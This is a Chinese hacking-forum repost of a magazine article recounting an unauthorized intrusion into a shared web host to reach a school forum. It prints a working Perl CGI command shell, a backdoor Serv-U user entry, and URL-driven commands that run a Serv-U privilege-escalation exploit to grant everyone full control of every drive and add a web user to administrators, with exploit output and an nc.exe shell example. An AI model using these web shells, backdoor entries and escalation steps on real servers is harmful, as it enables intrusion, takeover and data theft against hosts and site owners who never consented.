找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
. U. k& F; s% f$ s本文作者:angel
! l# d; ]9 N6 {# H; I2 S文章性质:原创# {' }3 P; I$ \8 f  E' I
发布日期:2004-11-09 : D7 C, P1 c& j) v5 M. l
注意:
) ]0 e$ e9 M9 U0 G3 d- `* M! v6 v本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
- ]8 P' i% X+ {# ?. M1 @  u! k本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
! a8 ^& x, F  x) g' ]2 G, I) @0 i% s* q) y* M: x, l7 P: w
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
. S" T! t2 s- y, [1 I& M/ f  J
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
3 N5 P! z. I& l2 y% S) F1 L3 u! O$ Z' G  H
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
6 M# o* V2 n! B9 Q& q& P* L; D5 N. a- k
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ! D/ Z- P. C5 Y  n2 z
& Z$ t- K2 N& w. Y' g) R, O
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ( R6 R) m* Q2 D! R
' }4 d3 S; x. H) R
  没有目的的跳转目录着……
, H1 w# a- C5 e) @0 t
8 Y8 p8 ~$ C. F  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… : A" b& S$ H; Q4 b  X; O
% A) N% D$ h2 T  }. Z
  结束了吗?不,我试着 FTP 一下:
. _: d7 l. q8 g. W5 T) _9 ~9 b- b! L7 ?5 k  s, V3 {
Microsoft Windows 2000 [Version 5.00.2195]
% \2 ?  Z; y- l5 I$ C(C) 版权所有 1985-2000 Microsoft Corp.
6 n5 U8 J, s8 I/ W5 i* G0 P( }" l
C:\Documents and Settings\Administrator>ftp www.school.com
  s: z' L& i3 t8 Y1 G4 l1 c% UConnected to www. school.com.
8 {/ d) m$ B- D, ~8 |1 n9 R220 Welcome to FTP Server... 6 n3 Q8 }# U- `$ H% h7 O1 |
User (www.bjtrq.com:(none)):
" L! l! O+ V* A% X9 T5 S331 User name okay, need password.
0 A* F1 Q. r: W: Z& E( |5 F" }Password: 5 ?0 e/ H1 c3 K: T( o: S9 p* q
530 Not logged in. 2 d6 F3 {& u! s2 T; f
Login failed.
. n* Q+ A% E7 iftp> bye , f! J% M! d" V' y4 Z
221 Goodbye!
6 g1 E# y# J6 W* {8 P 7 Z5 `; {2 X. `) M5 P: y4 q

, N$ w7 u( U+ u3 x2 g6 ]# D. ~  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
; ?" j7 Z* n& {; d7 \; {9 b4 X( g8 C/ M( j
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 : ]/ ^; i! o# Z0 h7 }3 q% f

, a5 B* `# f  K) b+ {5 q' VApplication Data
& u( U! [0 @  Q2 [Documents9 R4 A8 \9 U' y0 ]
DRM
. x; `7 u0 o3 a1 x' t  p3 iFavorites' x$ R0 l2 L( r2 P7 d0 K
Templates8 k: d4 q9 o% T+ j  ~. }( o: V
「开始」菜单; d! u9 c1 v/ d1 l. Z5 ^, h
桌面! I$ D- D: D- z3 f7 N+ O$ r$ Q6 D

" S( Y- c! ~, Q- c% b; J7 Y* Z# W6 m! q+ _2 c3 m
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
; e" B- k) p4 C# o( z6 D2 r
% v( W5 U3 Z: ?; y  kActiveState ActivePerl 5.8
- t) U* x. I1 m* z/ z3 J6 ]$ aAdministrative Tools. q% {7 Z2 w5 p6 u7 m; X5 Q
Deerfield.com! Z, @4 v$ G2 l& D' w* Q; \4 b8 G6 m
DTemp& R$ E, G6 O1 f9 i3 o/ k# [
IPSentry
, I, M1 b" p7 O2 j, n! Z) Q. wMBM 5
, |- A8 ?0 f+ n: }NetMeter( h/ H: [! G  ~
Network ICE
* Q7 ~" |/ H' d- v$ |2 }Persits Software AspEmail4 X, ?; K, s/ i7 m
Persits Software AspJpeg. }3 B* f7 p- r5 A6 u: \
Serv-U FTP Server
9 P% Z( B' b0 J& T9 a. E% A9 fSymantec Client Security# u/ \5 K" V. [1 m
Windows 优化大师
. o: W# X8 s$ G0 ~) z+ `2 pWinRAR
# H. X* q% i  f' c! K  J3 q启动
6 y, K7 I* k: b+ t管理工具7 k8 V/ W0 y! P
附件$ n2 W5 ~' s1 J+ L' z
( p! l6 ~! S. i8 X4 P

$ |% f' ]7 D% L/ ]  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
2 d) D3 k  p2 J- t' k( A1 a5 b7 `
% p+ U* M8 ?; J% n5 p7 [  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: + d) m- l% N  v( I( {9 S/ ]
4 ?1 U" c4 F. d9 \
User281=angel|1|0
9 Y# ?4 a! B2 I2 |" R
% a; K6 }. x# j9 X; U2 v4 g0 V  t
1 U, U7 q3 ~6 _% m" Y3 ~" ~( P+ L  然后加上 6 w2 l; D) S% {/ ^; d
. c1 [/ W! e" x0 J2 N# i4 w( q
[USER=angel|1]8 e9 c; ?9 J+ `  T; p1 E& R% \
Password=ng98F85379EA68DBF97BAADCA99B69B805
( M! b% t" m2 C0 V2 l$ {HomeDir=D:\websites1 Y. A1 R" `9 f( L" X0 j6 m
RelPaths=1
: x' y9 `* C9 T, z+ i& `( f# fTimeOut=600
; v4 c5 U/ n! c' P7 r; IMaintenance=System
  G/ ]* e6 L3 \- yAccess1=D:\websites|RWAMELCDP
7 U4 U. P2 Q1 Z& KSKEYValues=1 P. H" ]* Q* H, j. z$ d
& d, ?: P" U% a3 P6 b
# l% M6 f8 F& i
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
& F+ m9 w/ f/ S5 m% J
2 x+ t2 t# _% o- V3 ?, O  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
1 b! B* k+ o" j1 d
. h) E0 E2 v1 P  ?% ^. i) f  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
/ o! W5 q" g6 w" H) }, V+ L9 R# j9 P
$ J) E) M+ E% L! i/ H4 I  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 8 ^6 }: T& Y1 |5 y$ T4 O

* Y1 x! E' m( |/ b: L( S#!/usr/bin/perl
# B3 B* o8 _. {% R5 Qbinmode(STDOUT);
: W, X) _, n) {& b+ Vsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);1 f4 Q" _! F& S" N8 F& g
$_ = $ENV{QUERY_STRING};/ N; j- q+ T: y6 W" d+ P. j
s/%20/ /ig;
  X5 g/ y4 |' i: o+ b4 os/%2f/\//ig;
' r3 l: V- g( [- n$execthis = $_;
# `* a# q; R; V% ?3 r  k" F5 {& h  X/ Jsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);" j; Z/ i" d$ H6 \& I4 Q
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
6 u2 N; C; N$ d; }& tsystem($execthis);/ w/ z3 M% K% L/ n" C2 y
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
8 s+ u3 ^9 r2 G9 X- \" l8 ^! [close(STDERR);' M; y$ E  I# K, A$ }8 e$ Q
close(STDOUT);7 u1 U% i, K  P+ `) y
exit;2 ?, E+ y4 [  W) J

5 Z0 `3 X  t; W: E: I: Q" K4 ~; y' t" C# K
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
/ t1 ]* z/ t" \2 _+ q% s" h; |& L. ~; I
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 5 b5 ?( b2 r1 O' B
4 C6 {  r8 }  p7 h. r
http://anyhost//cmd.pl?d:\user\bin\su.exe % R; A7 V* k( h! G# D; M3 w- d

- x4 V/ n) w6 X# V
- a  N) q) q! H9 f, J  返回: / l: ]  s0 x1 k" }. {
$ e, F! n' ]9 V" {
Serv-u >3.x Local Exploit by xiaolu 5 w* i. o" @, v: h" S
5 u5 Q0 a5 a" f( I  w
USAGE: serv-u.exe "command"
+ w9 g$ J, z) F; Q- x* }' _% X
- R8 {& j  j1 P7 `4 D7 \$ yExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 1 |3 K4 K+ t% Z
7 U* p. z* v' N" k
5 b2 \) C' R( F5 ^+ n5 `5 P1 a  l% T
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
+ b0 r% y* U* s9 ^1 \' r1 p7 X4 P
6 u3 M9 |: c5 J% C/ A% E5 B- ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
) h' s' D4 G2 H2 h8 Q1 z# @. @0 P" w) a7 ~5 F+ o
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ! U2 L9 ^* F$ u* J+ G* i

% I0 n9 r9 z% M( _/ V+ Z) S: Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
0 i  a' ~0 a3 t* ~( `- n1 b
0 `, t# X6 k& ~http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" % Y! t0 r( `- c! s

; @  n# p) C' H8 ^( K
% F# m6 e& O. z7 T# s& T  返回下面的信息,就表示成功了!!!
+ b& {  d, T9 w" B. u, b% k6 N; D! O0 b" C# d9 P7 c6 z9 S
Serv-u >3.x Local Exploit by xiaolu
: h, A) c! O4 l% ?/ P! N  C" Y! t- U, g  I* {8 M
<220 Serv-U FTP Server v5.2 for WinSock ready... & b0 P) K  M* q2 b5 b/ m4 S
/ a0 t! |' Z. B
>USER LocalAdministrator " A- ~, l3 X- ~/ \' Z1 k
& l$ z7 c0 H  K- T
<331 User name okay, need password. . x+ L; {+ D. _

! a3 R: F1 G2 I  I3 F( C******************************************************
) x  I3 v# C/ b8 w  }
3 f2 c1 m" X: o2 C$ I7 d% ?  _>PASS #l@$ak#.lk;0@P
% h9 `% X: ~; g/ Q# s0 @
0 o. I  }$ k1 M<230 User logged in, proceed.
* @6 o7 c; c# `( f" n1 a, R; j
6 L8 {( G- V. z3 u( t, M8 P& ^******************************************************
! L/ y) x1 a# C7 K1 J, l+ M' Q( L5 \0 `% Q% o
>SITE MAINTENANCE
% g2 a% n' p) N+ c, o. Q) l8 Z0 C, s' M" f" c. \9 y( D; o
******************************************************
- F; q' v& n' ?- q+ m
7 |+ w" Q3 }+ f[+] Creating New Domain... # R& E  @+ ~" f, J1 U. k6 b

& W# p8 I0 g9 T9 s<200-DomainID=2 ( U1 B- J/ {6 `' ]

: K: `3 n& i/ G& _- _<220 Domain settings saved " o4 o- ^$ l3 N$ r3 J

- V# S0 g& E' I! r* ]# f******************************************************
/ ~' w7 i2 C1 E& C$ P/ _# {1 Q- D0 M, Q; ~8 _. Y
[+] Domain xl:2 Created
. `* j; C; {9 A. j  ?; s1 k4 q+ P% x/ l- {; r/ P
[+] Creating Evil User 2 P4 n; D# a* D8 ]4 d9 {

1 x7 t5 D) P) v$ {% B<200-User=xl % G$ t$ N& [# P3 Z) Q4 {
4 Y0 ]5 j/ U8 Y: f, S2 a! c8 c
200 User settings saved
$ Z+ h; B  k. B  h3 |& {2 R% M$ _' W4 W6 w
******************************************************
" g: B; h# Z! v; O+ u$ T* S  P7 H  ]4 I0 U2 f' r& r* o
[+] Now Exploiting... + G3 u! p* y: D, K% s

4 ~0 Y4 z+ C% l; c( t3 W>USER xl 0 Q  |3 _" w5 H, }# j6 m6 k

% p) P9 E7 i( A+ N$ P- d<331 User name okay, need password. 7 }3 m6 ]4 W! q) }

& e7 Q) O/ f1 W( T) I' V1 M" c' n$ ]******************************************************
! |: t' {1 n+ j) r: Q7 p/ e
4 W8 t8 r' R8 @8 b4 M>PASS 111111 2 x; W& t, R+ {/ y8 a

0 y+ A( C+ G- H8 G6 J) E<230 User logged in, proceed.
+ m2 l4 @" [3 ^, K- U  f# i6 K( |! |/ n  m# R
******************************************************
$ o9 ~  l8 x7 u! p& m. j% Q- z0 D' E/ r3 l' h, l
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
" s1 n9 C# F+ u# u- i. d) ?' A2 r' F+ D6 m" O% N& Y
<220 Domain deleted " D( r7 g2 C: _4 c: [% F1 m4 m
0 x* ]0 e! w8 I* P+ p  S
****************************************************** % ?% J, {6 }8 |( \
7 d) w0 D" h) y% D" O5 e
8 D/ d: ?7 h3 a
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: , B6 u4 t: g; c1 O; ]  b0 t) S

4 L0 f# ^. Z- `0 C$ W' hhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
; [  U& z; B( x- W7 y% M. t
8 Z; `$ ]) J% @/ D7 x% A, l" y& B/ \4 b0 ^7 G
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
# l/ o% R2 `( y+ u2 ]- S, a) d  h" S6 b9 w- g
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
2 x: ?) T2 N3 m : z; g; k# Z7 Q3 n1 b
  ' j* @% U  n. v% V  ]# w$ [; J! r  G- L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表